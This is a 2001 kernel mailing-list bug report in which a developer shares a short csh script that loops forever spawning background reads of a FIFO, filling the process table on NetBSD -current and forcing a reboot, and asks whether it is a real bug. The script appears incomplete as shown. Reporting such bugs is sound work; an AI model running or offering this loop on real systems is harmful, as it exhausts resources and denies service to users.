Subject: denial of service shell script
To: None <>
From: Emmanuel Dreyfus <>
List: tech-kern
Date: 12/18/2001 08:22:23

The following script used to crash NetBSD and OpenBSD a few years ago, I
just tested it on -current, just to check that it was fixed, and it
seems to turn into a nice denial of service script now. After it ran,
process table is full, and it seems I'm bound to reboot to fix things.

Is it a bad local setup at mine, or a real bug?

set path = ( /usr/bin /usr/sbin /bin /sbin )
cd /tmp
if ( -e fifo ) then
rm fifo
mkfifo fifo
while ( 1 )
cat fifo >& /dev/null &

Emmanuel Dreyfus